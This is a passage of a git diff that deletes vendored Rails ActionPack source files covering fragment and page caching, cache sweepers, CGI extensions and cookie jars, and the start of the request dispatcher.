-    # That would result in a name such as "/topics/list/all_topics", avoiding conflicts with the action cache and with any fragments that use a
-    # different suffix. Note that the URL doesn't have to really exist or be callable - the url_for system is just used to generate unique
-    # cache names that we can refer to when we need to expire the cache.
-    #
-    # The expiration call for this example is:
-    #
-    #   expire_fragment(:controller => "topics", :action => "list", :action_suffix => "all_topics")
-    module Fragments
-      # Given a key (as described in <tt>expire_fragment</tt>), returns a key suitable for use in reading,
-      # writing, or expiring a cached fragment. If the key is a hash, the generated key is the return
-      # value of url_for on that hash (without the protocol). All keys are prefixed with "views/" and uses
-      # ActiveSupport::Cache.expand_cache_key for the expansion.
-      def fragment_cache_key(key)
-        ActiveSupport::Cache.expand_cache_key(key.is_a?(Hash) ? url_for(key).split("://").last : key, :views)
-      end
-
-      def fragment_for(buffer, name = {}, options = nil, &block) #:nodoc:
-        if perform_caching
-          if cache = read_fragment(name, options)
-            buffer.safe_concat(cache.html_safe)
-          else
-            pos = buffer.length
-            block.call
-            write_fragment(name, buffer[pos..-1], options)
-          end
-        else
-          block.call
-        end
-      end
-
-      # Writes <tt>content</tt> to the location signified by <tt>key</tt> (see <tt>expire_fragment</tt> for acceptable formats)
-      def write_fragment(key, content, options = nil)
-        return content unless cache_configured?
-
-        self.class.benchmark "Cached fragment miss: #{key}" do
-          key = fragment_cache_key(key)
-          content = content.html_safe.to_str if content.respond_to?(:html_safe)
-          cache_store.write(key, content, options)
-        end
-
-        content
-      end
-
-      # Reads a cached fragment from the location signified by <tt>key</tt> (see <tt>expire_fragment</tt> for acceptable formats)
-      def read_fragment(key, options = nil)
-        return unless cache_configured?
-
-        key = fragment_cache_key(key)
-        self.class.benchmark "Cached fragment hit: #{key}" do
-          result = cache_store.read(key, options)
-          result.respond_to?(:html_safe) ? result.html_safe : result
-        end
-      end
-
-      # Check if a cached fragment from the location signified by <tt>key</tt> exists (see <tt>expire_fragment</tt> for acceptable formats)
-      def fragment_exist?(key, options = nil)
-        return unless cache_configured?
-
-        key = fragment_cache_key(key)
-
-        self.class.benchmark "Cached fragment exists?: #{key}" do
-          cache_store.exist?(key, options)
-        end
-      end
-
-      # Removes fragments from the cache.
-      #
-      # +key+ can take one of three forms:
-      # * String - This would normally take the form of a path, like
-      #   <tt>"pages/45/notes"</tt>.
-      # * Hash - Treated as an implicit call to +url_for+, like
-      #   <tt>{:controller => "pages", :action => "notes", :id => 45}</tt>
-      # * Regexp - Will remove any fragment that matches, so
-      #   <tt>%r{pages/\d*/notes}</tt> might remove all notes. Make sure you
-      #   don't use anchors in the regex (<tt>^</tt> or <tt>$</tt>) because
-      #   the actual filename matched looks like
-      #   <tt>./cache/filename/path.cache</tt>. Note: Regexp expiration is
-      #   only supported on caches that can iterate over all keys (unlike
-      #   memcached).
-      #
-      # +options+ is passed through to the cache store's <tt>delete</tt>
-      # method (or <tt>delete_matched</tt>, for Regexp keys.)
-      def expire_fragment(key, options = nil)
-        return unless cache_configured?
-
-        key = key.is_a?(Regexp) ? key : fragment_cache_key(key)
-
-        if key.is_a?(Regexp)
-          self.class.benchmark "Expired fragments matching: #{key.source}" do
-            cache_store.delete_matched(key, options)
-          end
-        else
-          self.class.benchmark "Expired fragment: #{key}" do
-            cache_store.delete(key, options)
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/pages.rb b/vendor/rails/actionpack/lib/action_controller/caching/pages.rb
deleted file mode 100644
index bd3b5a58..00000000
--- a/vendor/rails/actionpack/lib/action_controller/caching/pages.rb
+++ /dev/null
@@ -1,152 +0,0 @@
-require 'fileutils'
-require 'uri'
-
-module ActionController #:nodoc:
-  module Caching
-    # Page caching is an approach to caching where the entire action output of is stored as a HTML file that the web server
-    # can serve without going through Action Pack. This is the fastest way to cache your content as opposed to going dynamically
-    # through the process of generating the content. Unfortunately, this incredible speed-up is only available to stateless pages
-    # where all visitors are treated the same. Content management systems -- including weblogs and wikis -- have many pages that are
-    # a great fit for this approach, but account-based systems where people log in and manipulate their own data are often less
-    # likely candidates.
-    #
-    # Specifying which actions to cache is done through the <tt>caches_page</tt> class method:
-    #
-    #   class WeblogController < ActionController::Base
-    #     caches_page :show, :new
-    #   end
-    #
-    # This will generate cache files such as <tt>weblog/show/5.html</tt> and <tt>weblog/new.html</tt>,
-    # which match the URLs used to trigger the dynamic generation. This is how the web server is able
-    # pick up a cache file when it exists and otherwise let the request pass on to Action Pack to generate it.
-    #
-    # Expiration of the cache is handled by deleting the cached file, which results in a lazy regeneration approach where the cache
-    # is not restored before another hit is made against it. The API for doing so mimics the options from +url_for+ and friends:
-    #
-    #   class WeblogController < ActionController::Base
-    #     def update
-    #       List.update(params[:list][:id], params[:list])
-    #       expire_page :action => "show", :id => params[:list][:id]
-    #       redirect_to :action => "show", :id => params[:list][:id]
-    #     end
-    #   end
-    #
-    # Additionally, you can expire caches using Sweepers that act on changes in the model to determine when a cache is supposed to be
-    # expired.
-    module Pages
-      def self.included(base) #:nodoc:
-        base.extend(ClassMethods)
-        base.class_eval do
-          @@page_cache_directory = defined?(Rails.public_path) ? Rails.public_path : ""
-          ##
-          # :singleton-method:
-          # The cache directory should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>.
-          # For Rails, this directory has already been set to Rails.public_path (which is usually set to <tt>RAILS_ROOT + "/public"</tt>). Changing
-          # this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your
-          # web server to look in the new location for cached files.
-          cattr_accessor :page_cache_directory
-
-          @@page_cache_extension = '.html'
-          ##
-          # :singleton-method:
-          # Most Rails requests do not have an extension, such as <tt>/weblog/new</tt>. In these cases, the page caching mechanism will add one in
-          # order to make it easy for the cached files to be picked up properly by the web server. By default, this cache extension is <tt>.html</tt>.
-          # If you want something else, like <tt>.php</tt> or <tt>.shtml</tt>, just set Base.page_cache_extension. In cases where a request already has an
-          # extension, such as <tt>.xml</tt> or <tt>.rss</tt>, page caching will not add an extension. This allows it to work well with RESTful apps.
-          cattr_accessor :page_cache_extension
-        end
-      end
-
-      module ClassMethods
-        # Expires the page that was cached with the +path+ as a key. Example:
-        #   expire_page "/lists/show"
-        def expire_page(path)
-          return unless perform_caching
-
-          benchmark "Expired page: #{page_cache_file(path)}" do
-            File.delete(page_cache_path(path)) if File.exist?(page_cache_path(path))
-          end
-        end
-
-        # Manually cache the +content+ in the key determined by +path+. Example:
-        #   cache_page "I'm the cached content", "/lists/show"
-        def cache_page(content, path)
-          return unless perform_caching
-
-          benchmark "Cached page: #{page_cache_file(path)}" do
-            FileUtils.makedirs(File.dirname(page_cache_path(path)))
-            File.open(page_cache_path(path), "wb+") { |f| f.write(content) }
-          end
-        end
-
-        # Caches the +actions+ using the page-caching approach that'll store the cache in a path within the page_cache_directory that
-        # matches the triggering url.
-        #
-        # Usage:
-        #
-        #   # cache the index action
-        #   caches_page :index
-        #
-        #   # cache the index action except for JSON requests
-        #   caches_page :index, :if => Proc.new { |c| !c.request.format.json? }
-        def caches_page(*actions)
-          return unless perform_caching
-          options = actions.extract_options!
-          after_filter({:only => actions}.merge(options)) { |c| c.cache_page }
-        end
-
-        private
-          def page_cache_file(path)
-            name = (path.empty? || path == "/") ? "/index" : URI.unescape(path.chomp('/'))
-            name << page_cache_extension unless (name.split('/').last || name).include? '.'
-            return name
-          end
-
-          def page_cache_path(path)
-            page_cache_directory + page_cache_file(path)
-          end
-      end
-
-      # Expires the page that was cached with the +options+ as a key. Example:
-      #   expire_page :controller => "lists", :action => "show"
-      def expire_page(options = {})
-        return unless perform_caching
-
-        if options.is_a?(Hash)
-          if options[:action].is_a?(Array)
-            options[:action].dup.each do |action|
-              self.class.expire_page(url_for(options.merge(:only_path => true, :skip_relative_url_root => true, :action => action)))
-            end
-          else
-            self.class.expire_page(url_for(options.merge(:only_path => true, :skip_relative_url_root => true)))
-          end
-        else
-          self.class.expire_page(options)
-        end
-      end
-
-      # Manually cache the +content+ in the key determined by +options+. If no content is provided, the contents of response.body is used
-      # If no options are provided, the requested url is used. Example:
-      #   cache_page "I'm the cached content", :controller => "lists", :action => "show"
-      def cache_page(content = nil, options = nil)
-        return unless perform_caching && caching_allowed
-
-        path = case options
-          when Hash
-            url_for(options.merge(:only_path => true, :skip_relative_url_root => true, :format => params[:format]))
-          when String
-            options
-          else
-            request.path
-        end
-
-        self.class.cache_page(content || response.body, path)
-      end
-
-      private
-        def caching_allowed
-          request.get? && response.status.to_i == 200
-        end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/sweeper.rb b/vendor/rails/actionpack/lib/action_controller/caching/sweeper.rb
deleted file mode 100644
index 4885d8b2..00000000
--- a/vendor/rails/actionpack/lib/action_controller/caching/sweeper.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-require 'active_record'
-
-module ActionController #:nodoc:
-  module Caching
-    class Sweeper < ActiveRecord::Observer #:nodoc:
-      attr_accessor :controller
-
-      def before(controller)
-        self.controller = controller
-        callback(:before) if controller.perform_caching
-      end
-
-      def after(controller)
-        callback(:after) if controller.perform_caching
-        # Clean up, so that the controller can be collected after this request
-        self.controller = nil
-      end
-
-      protected
-        # gets the action cache path for the given options.
-        def action_path_for(options)
-          ActionController::Caching::Actions::ActionCachePath.path_for(controller, options)
-        end
-
-        # Retrieve instance variables set in the controller.
-        def assigns(key)
-          controller.instance_variable_get("@#{key}")
-        end
-
-      private
-        def callback(timing)
-          controller_callback_method_name = "#{timing}_#{controller.controller_name.underscore}"
-          action_callback_method_name     = "#{controller_callback_method_name}_#{controller.action_name}"
-
-          __send__(controller_callback_method_name) if respond_to?(controller_callback_method_name, true)
-          __send__(action_callback_method_name)     if respond_to?(action_callback_method_name, true)
-        end
-
-        def method_missing(method, *arguments, &block)
-          return if @controller.nil?
-          @controller.__send__(method, *arguments, &block)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/sweeping.rb b/vendor/rails/actionpack/lib/action_controller/caching/sweeping.rb
deleted file mode 100644
index 9b320021..00000000
--- a/vendor/rails/actionpack/lib/action_controller/caching/sweeping.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-module ActionController #:nodoc:
-  module Caching
-    # Sweepers are the terminators of the caching world and responsible for expiring caches when model objects change.
-    # They do this by being half-observers, half-filters and implementing callbacks for both roles. A Sweeper example:
-    #
-    #   class ListSweeper < ActionController::Caching::Sweeper
-    #     observe List, Item
-    #
-    #     def after_save(record)
-    #       list = record.is_a?(List) ? record : record.list
-    #       expire_page(:controller => "lists", :action => %w( show public feed ), :id => list.id)
-    #       expire_action(:controller => "lists", :action => "all")
-    #       list.shares.each { |share| expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
-    #     end
-    #   end
-    #
-    # The sweeper is assigned in the controllers that wish to have its job performed using the <tt>cache_sweeper</tt> class method:
-    #
-    #   class ListsController < ApplicationController
-    #     caches_action :index, :show, :public, :feed
-    #     cache_sweeper :list_sweeper, :only => [ :edit, :destroy, :share ]
-    #   end
-    #
-    # In the example above, four actions are cached and three actions are responsible for expiring those caches.
-    #
-    # You can also name an explicit class in the declaration of a sweeper, which is needed if the sweeper is in a module:
-    #
-    #   class ListsController < ApplicationController
-    #     caches_action :index, :show, :public, :feed
-    #     cache_sweeper OpenBar::Sweeper, :only => [ :edit, :destroy, :share ]
-    #   end
-    module Sweeping
-      def self.included(base) #:nodoc:
-        base.extend(ClassMethods)
-      end
-
-      module ClassMethods #:nodoc:
-        def cache_sweeper(*sweepers)
-          configuration = sweepers.extract_options!
-
-          sweepers.each do |sweeper|
-            ActiveRecord::Base.observers << sweeper if defined?(ActiveRecord) and defined?(ActiveRecord::Base)
-            sweeper_instance = (sweeper.is_a?(Symbol) ? Object.const_get(sweeper.to_s.classify) : sweeper).instance
-
-            if sweeper_instance.is_a?(Sweeper)
-              around_filter(sweeper_instance, :only => configuration[:only])
-            else
-              after_filter(sweeper_instance, :only => configuration[:only])
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_ext.rb b/vendor/rails/actionpack/lib/action_controller/cgi_ext.rb
deleted file mode 100644
index 406b6f06..00000000
--- a/vendor/rails/actionpack/lib/action_controller/cgi_ext.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'action_controller/cgi_ext/stdinput'
-require 'action_controller/cgi_ext/query_extension'
-require 'action_controller/cgi_ext/cookie'
-
-class CGI #:nodoc:
-  include ActionController::CgiExt::Stdinput
-
-  class << self
-    alias :escapeHTML_fail_on_nil :escapeHTML
-
-    def escapeHTML(string)
-      escapeHTML_fail_on_nil(string) unless string.nil?
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_ext/cookie.rb b/vendor/rails/actionpack/lib/action_controller/cgi_ext/cookie.rb
deleted file mode 100644
index 9cd19bb1..00000000
--- a/vendor/rails/actionpack/lib/action_controller/cgi_ext/cookie.rb
+++ /dev/null
@@ -1,112 +0,0 @@
-require 'delegate'
-
-CGI.module_eval { remove_const "Cookie" }
-
-# TODO: document how this differs from stdlib CGI::Cookie
-class CGI #:nodoc:
-  class Cookie < DelegateClass(Array)
-    attr_accessor :name, :value, :path, :domain, :expires
-    attr_reader :secure, :http_only
-
-    # Creates a new CGI::Cookie object.
-    #
-    # The contents of the cookie can be specified as a +name+ and one
-    # or more +value+ arguments.  Alternatively, the contents can
-    # be specified as a single hash argument.  The possible keywords of
-    # this hash are as follows:
-    #
-    # * <tt>:name</tt> - The name of the cookie.  Required.
-    # * <tt>:value</tt> - The cookie's value or list of values.
-    # * <tt>:path</tt> - The path for which this cookie applies.  Defaults to the
-    #   base directory of the CGI script.
-    # * <tt>:domain</tt> - The domain for which this cookie applies.
-    # * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
-    # * <tt>:secure</tt> - Whether this cookie is a secure cookie or not (defaults to
-    #   +false+). Secure cookies are only transmitted to HTTPS servers.
-    # * <tt>:http_only</tt> - Whether this cookie can be accessed by client side scripts (e.g. document.cookie) or only over HTTP.
-    #   More details in http://msdn2.microsoft.com/en-us/library/system.web.httpcookie.httponly.aspx. Defaults to +false+. 
-    #
-    # These keywords correspond to attributes of the cookie object.
-    def initialize(name = '', *value)
-      if name.kind_of?(String)
-        @name = name
-        @value = Array(value)
-        @domain = nil
-        @expires = nil
-        @secure = false
-        @http_only = false
-        @path = nil
-      else
-        @name = name['name']
-        @value = (name['value'].kind_of?(String) ? [name['value']] : Array(name['value'])).delete_if(&:blank?)
-        @domain = name['domain']
-        @expires = name['expires']
-        @secure = name['secure'] || false
-        @http_only = name['http_only'] || false
-        @path = name['path']
-      end
-
-      raise ArgumentError, "`name' required" unless @name
-
-      # simple support for IE
-      unless @path
-        %r|^(.*/)|.match(ENV['SCRIPT_NAME'])
-        @path = ($1 or '')
-      end
-
-      super(@value)
-    end
-
-    # Sets whether the Cookie is a secure cookie or not.
-    def secure=(val)
-      @secure = val == true
-    end
-
-    # Sets whether the Cookie is an HTTP only cookie or not.
-    def http_only=(val)
-      @http_only = val == true
-    end
-
-    # Converts the Cookie to its string representation.
-    def to_s
-      buf = ''
-      buf << @name << '='
-      buf << (@value.kind_of?(String) ? CGI::escape(@value) : @value.collect{|v| CGI::escape(v) }.join("&"))
-      buf << '; domain=' << @domain if @domain
-      buf << '; path=' << @path if @path
-      buf << '; expires=' << CGI::rfc1123_date(@expires) if @expires
-      buf << '; secure' if @secure
-      buf << '; HttpOnly' if @http_only
-      buf
-    end
-
-    # FIXME: work around broken 1.8.7 DelegateClass#respond_to?
-    def respond_to?(method, include_private = false)
-      return true if super(method)
-      return __getobj__.respond_to?(method, include_private)
-    end
-
-    # Parses a raw cookie string into a hash of <tt>cookie-name => cookie-object</tt>
-    # pairs.
-    #
-    #   cookies = CGI::Cookie::parse("raw_cookie_string")
-    #     # => { "name1" => cookie1, "name2" => cookie2, ... }
-    #
-    def self.parse(raw_cookie)
-      cookies = Hash.new([])
-
-      if raw_cookie
-        raw_cookie.split(/;\s?/).each do |pairs|
-          name, value = pairs.split('=',2)
-          next unless name and value
-          name = CGI::unescape(name)
-          unless cookies.has_key?(name)
-            cookies[name] = new(name, CGI::unescape(value))
-          end
-        end
-      end
-
-      cookies
-    end
-  end # class Cookie
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_ext/query_extension.rb b/vendor/rails/actionpack/lib/action_controller/cgi_ext/query_extension.rb
deleted file mode 100644
index 9620fd28..00000000
--- a/vendor/rails/actionpack/lib/action_controller/cgi_ext/query_extension.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'cgi'
-
-class CGI #:nodoc:
-  module QueryExtension
-    # Remove the old initialize_query method before redefining it.
-    remove_method :initialize_query
-
-    # Neuter CGI parameter parsing.
-    def initialize_query
-      # Fix some strange request environments.
-      env_table['REQUEST_METHOD'] ||= 'GET'
-
-      # POST assumes missing Content-Type is application/x-www-form-urlencoded.
-      if env_table['CONTENT_TYPE'].blank? && env_table['REQUEST_METHOD'] == 'POST'
-        env_table['CONTENT_TYPE'] = 'application/x-www-form-urlencoded'
-      end
-
-      @cookies = CGI::Cookie::parse(env_table['HTTP_COOKIE'] || env_table['COOKIE'])
-      @params = {}
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_ext/stdinput.rb b/vendor/rails/actionpack/lib/action_controller/cgi_ext/stdinput.rb
deleted file mode 100644
index 5e9b6784..00000000
--- a/vendor/rails/actionpack/lib/action_controller/cgi_ext/stdinput.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'cgi'
-
-module ActionController
-  module CgiExt
-    # Publicize the CGI's internal input stream so we can lazy-read
-    # request.body. Make it writable so we don't have to play $stdin games.
-    module Stdinput
-      def self.included(base)
-        base.class_eval do
-          remove_method :stdinput
-          attr_accessor :stdinput
-        end
-
-        base.alias_method_chain :initialize, :stdinput
-      end
-
-      def initialize_with_stdinput(type = nil, stdinput = $stdin)
-        @stdinput = stdinput
-        @stdinput.set_encoding(Encoding::BINARY) if @stdinput.respond_to?(:set_encoding)
-        initialize_without_stdinput(type || 'query')
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_process.rb b/vendor/rails/actionpack/lib/action_controller/cgi_process.rb
deleted file mode 100644
index 54ff04cf..00000000
--- a/vendor/rails/actionpack/lib/action_controller/cgi_process.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-require 'action_controller/cgi_ext'
-
-module ActionController #:nodoc:
-  class CGIHandler
-    module ProperStream
-      def each
-        while line = gets
-          yield line
-        end
-      end
-
-      def read(*args)
-        if args.empty?
-          super || ""
-        else
-          super
-        end
-      end
-    end
-
-    def self.dispatch_cgi(app, cgi, out = $stdout)
-      env = cgi.__send__(:env_table)
-      env.delete "HTTP_CONTENT_LENGTH"
-
-      cgi.stdinput.extend ProperStream
-
-      env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
-
-      env.update({
-        "rack.version" => [0,1],
-        "rack.input" => cgi.stdinput,
-        "rack.errors" => $stderr,
-        "rack.multithread" => false,
-        "rack.multiprocess" => true,
-        "rack.run_once" => false,
-        "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
-      })
-
-      env["QUERY_STRING"] ||= ""
-      env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
-      env["REQUEST_PATH"] ||= "/"
-      env.delete "PATH_INFO" if env["PATH_INFO"] == ""
-
-      status, headers, body = app.call(env)
-      begin
-        out.binmode if out.respond_to?(:binmode)
-        out.sync = false if out.respond_to?(:sync=)
-
-        headers['Status'] = status.to_s
-
-        if headers.include?('Set-Cookie')
-          headers['cookie'] = headers.delete('Set-Cookie').split("\n")
-        end
-
-        out.write(cgi.header(headers))
-
-        body.each { |part|
-          out.write part
-          out.flush if out.respond_to?(:flush)
-        }
-      ensure
-        body.close if body.respond_to?(:close)
-      end
-    end
-  end
-
-  class CgiRequest #:nodoc:
-    DEFAULT_SESSION_OPTIONS = {
-      :database_manager  => nil,
-      :prefix            => "ruby_sess.",
-      :session_path      => "/",
-      :session_key       => "_session_id",
-      :cookie_only       => true,
-      :session_http_only => true
-    }
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cookies.rb b/vendor/rails/actionpack/lib/action_controller/cookies.rb
deleted file mode 100644
index 9eab87b7..00000000
--- a/vendor/rails/actionpack/lib/action_controller/cookies.rb
+++ /dev/null
@@ -1,197 +0,0 @@
-module ActionController #:nodoc:
-  # Cookies are read and written through ActionController#cookies.
-  #
-  # The cookies being read are the ones received along with the request, the cookies
-  # being written will be sent out with the response. Reading a cookie does not get
-  # the cookie object itself back, just the value it holds.
-  #
-  # Examples for writing:
-  #
-  #   # Sets a simple session cookie.
-  #   cookies[:user_name] = "david"
-  #
-  #   # Sets a cookie that expires in 1 hour.
-  #   cookies[:login] = { :value => "XJ-122", :expires => 1.hour.from_now }
-  #
-  # Examples for reading:
-  #
-  #   cookies[:user_name] # => "david"
-  #   cookies.size        # => 2
-  #
-  # Example for deleting:
-  #
-  #   cookies.delete :user_name
-  #
-  # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
-  #
-  #  cookies[:key] = {
-  #    :value => 'a yummy cookie',
-  #    :expires => 1.year.from_now,
-  #    :domain => 'domain.com'
-  #  }
-  #
-  #  cookies.delete(:key, :domain => 'domain.com')
-  #
-  # The option symbols for setting cookies are:
-  #
-  # * <tt>:value</tt> - The cookie's value or list of values (as an array).
-  # * <tt>:path</tt> - The path for which this cookie applies.  Defaults to the root
-  #   of the application.
-  # * <tt>:domain</tt> - The domain for which this cookie applies.
-  # * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
-  # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
-  #   Default is +false+.
-  # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
-  #   only HTTP. Defaults to +false+.
-  module Cookies
-    def self.included(base)
-      base.helper_method :cookies
-      base.cattr_accessor :cookie_verifier_secret
-    end
-
-    protected
-      # Returns the cookie container, which operates as described above.
-      def cookies
-        @cookies ||= CookieJar.new(self)
-      end
-  end
-
-  class CookieJar < Hash #:nodoc:
-    attr_reader :controller
-    
-    def initialize(controller)
-      @controller, @cookies, @secure = controller, controller.request.cookies, controller.request.ssl?
-      super()
-      update(@cookies)
-    end
-
-    # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
-    def [](name)
-      super(name.to_s)
-    end
-
-    # Sets the cookie named +name+. The second argument may be the very cookie
-    # value, or a hash of options as documented above.
-    def []=(key, options)
-      if options.is_a?(Hash)
-        options.symbolize_keys!
-      else
-        options = { :value => options }
-      end
-
-      options[:path] = "/" unless options.has_key?(:path)
-      super(key.to_s, options[:value])
-      @controller.response.set_cookie(key, options) if write_cookie?(options)
-    end
-
-    # Removes the cookie on the client machine by setting the value to an empty string
-    # and setting its expiration date into the past. Like <tt>[]=</tt>, you can pass in
-    # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
-    def delete(key, options = {})
-      options.symbolize_keys!
-      options[:path] = "/" unless options.has_key?(:path)
-      value = super(key.to_s)
-      @controller.response.delete_cookie(key, options)
-      value
-    end
-
-    # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
-    #
-    #   cookies.permanent[:prefers_open_id] = true
-    #   # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-    #
-    # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
-    #
-    # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
-    #
-    #   cookies.permanent.signed[:remember_me] = current_user.id
-    #   # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-    def permanent
-      @permanent ||= PermanentCookieJar.new(self)
-    end
-    
-    # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
-    # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
-    # cookie was tampered with by the user (or a 3rd party), an ActiveSupport::MessageVerifier::InvalidSignature exception will
-    # be raised.
-    #
-    # This jar requires that you set a suitable secret for the verification on ActionController::Base.cookie_verifier_secret.
-    #
-    # Example:
-    #
-    #   cookies.signed[:discount] = 45
-    #   # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
-    #
-    #   cookies.signed[:discount] # => 45
-    def signed
-      @signed ||= SignedCookieJar.new(self)
-    end
-
-    private
-
-      def write_cookie?(cookie)
-        @secure || !cookie[:secure] || defined?(Rails.env) && Rails.env.development?
-      end
-  end
-  
-  class PermanentCookieJar < CookieJar #:nodoc:
-    def initialize(parent_jar)
-      @parent_jar = parent_jar
-    end
-
-    def []=(key, options)
-      if options.is_a?(Hash)
-        options.symbolize_keys!
-      else
-        options = { :value => options }
-      end
-      
-      options[:expires] = 20.years.from_now
-      @parent_jar[key] = options
-    end
-
-    def signed
-      @signed ||= SignedCookieJar.new(self)
-    end
-
-    def controller
-      @parent_jar.controller
-    end
-
-    def method_missing(method, *arguments, &block)
-      @parent_jar.send(method, *arguments, &block)
-    end
-  end
-  
-  class SignedCookieJar < CookieJar #:nodoc:
-    def initialize(parent_jar)
-      unless parent_jar.controller.class.cookie_verifier_secret
-        raise "You must set ActionController::Base.cookie_verifier_secret to use signed cookies"
-      end
-
-      @parent_jar = parent_jar
-      @verifier = ActiveSupport::MessageVerifier.new(@parent_jar.controller.class.cookie_verifier_secret)
-    end
-    
-    def [](name)
-      if value = @parent_jar[name]
-        @verifier.verify(value)
-      end
-    end
-    
-    def []=(key, options)
-      if options.is_a?(Hash)
-        options.symbolize_keys!
-        options[:value] = @verifier.generate(options[:value])
-      else
-        options = { :value => @verifier.generate(options) }
-      end
-      
-      @parent_jar[key] = options
-    end
-    
-    def method_missing(method, *arguments, &block)
-      @parent_jar.send(method, *arguments, &block)
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/dispatcher.rb b/vendor/rails/actionpack/lib/action_controller/dispatcher.rb
deleted file mode 100644
index 1932944f..00000000
--- a/vendor/rails/actionpack/lib/action_controller/dispatcher.rb
+++ /dev/null
@@ -1,133 +0,0 @@
-module ActionController
-  # Dispatches requests to the appropriate controller and takes care of
-  # reloading the app after each request when Dependencies.load? is true.
-  class Dispatcher
-    @@cache_classes = true
-
-    class << self
-      def define_dispatcher_callbacks(cache_classes)
-        @@cache_classes = cache_classes
-        unless cache_classes
-          ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
-        end
-
-        if defined?(ActiveRecord)
-          to_prepare(:activerecord_instantiate_observers) { ActiveRecord::Base.instantiate_observers }
-        end
-
-        after_dispatch :flush_logger if Base.logger && Base.logger.respond_to?(:flush)
-
-        to_prepare do
-          I18n.reload!
-        end
-      end
-
-      # DEPRECATE: Remove CGI support
-      def dispatch(cgi = nil, session_options = CgiRequest::DEFAULT_SESSION_OPTIONS, output = $stdout)
-        new(output).dispatch_cgi(cgi, session_options)
-      end
-
-      # Add a preparation callback. Preparation callbacks are run before every
-      # request in development mode, and before the first request in production
-      # mode.
-      #
-      # An optional identifier may be supplied for the callback. If provided,
-      # to_prepare may be called again with the same identifier to replace the
-      # existing callback. Passing an identifier is a suggested practice if the
-      # code adding a preparation block may be reloaded.
-      def to_prepare(identifier = nil, &block)
-        @prepare_dispatch_callbacks ||= ActiveSupport::Callbacks::CallbackChain.new
-        callback = ActiveSupport::Callbacks::Callback.new(:prepare_dispatch, block, :identifier => identifier)
-        @prepare_dispatch_callbacks.replace_or_append!(callback)
-      end
-
-      def run_prepare_callbacks
-        if defined?(Rails) && Rails.logger
-          logger = Rails.logger
-        else
-          logger = Logger.new($stderr)
-        end
-
-        new(logger).send :run_callbacks, :prepare_dispatch
-      end
-
-      def reload_application
-        # Run prepare callbacks before every request in development mode
-        run_prepare_callbacks
-
-        Routing::Routes.reload
-      end
-
-      def cleanup_application
-        # Cleanup the application before processing the current request.
-        ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord)
-        ActiveSupport::Dependencies.clear
-        ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord)
-      end
-    end
-
-    cattr_accessor :middleware
-    self.middleware = MiddlewareStack.new do |middleware|
-      middlewares = File.join(File.dirname(__FILE__), "middlewares.rb")
-      middleware.instance_eval(File.read(middlewares))
-    end
-
-    include ActiveSupport::Callbacks
-    define_callbacks :prepare_dispatch, :before_dispatch, :after_dispatch
-
-    # DEPRECATE: Remove arguments, since they are only used by CGI
-    def initialize(output = $stdout, request = nil, response = nil)
-      @output = output
-      build_middleware_stack if @@cache_classes
-    end
-
-    def dispatch
-      begin
-        run_callbacks :before_dispatch
-        Routing::Routes.call(@env)
-      rescue Exception => exception
-        if controller ||= (::ApplicationController rescue Base)
-          controller.call_with_exception(@env, exception).to_a
-        else
-          raise exception
-        end
-      ensure
-        run_callbacks :after_dispatch, :enumerator => :reverse_each
-      end
-    end
-
-    # DEPRECATE: Remove CGI support
-    def dispatch_cgi(cgi, session_options)
-      CGIHandler.dispatch_cgi(self, cgi, @output)
-    end
-
-    def call(env)
-      if @@cache_classes
-        @app.call(env)
-      else
-        Reloader.run do
-          # When class reloading is turned on, we will want to rebuild the
-          # middleware stack every time we process a request. If we don't
-          # rebuild the middleware stack, then the stack may contain references
-          # to old classes metal classes, which will b0rk class reloading.
-          build_middleware_stack
-          @app.call(env)
-        end
-      end
-    end
-
-    def _call(env)
-      @env = env
-      dispatch
-    end
-
-    def flush_logger
-      Base.logger.flush
-    end
-
-    private
-      def build_middleware_stack
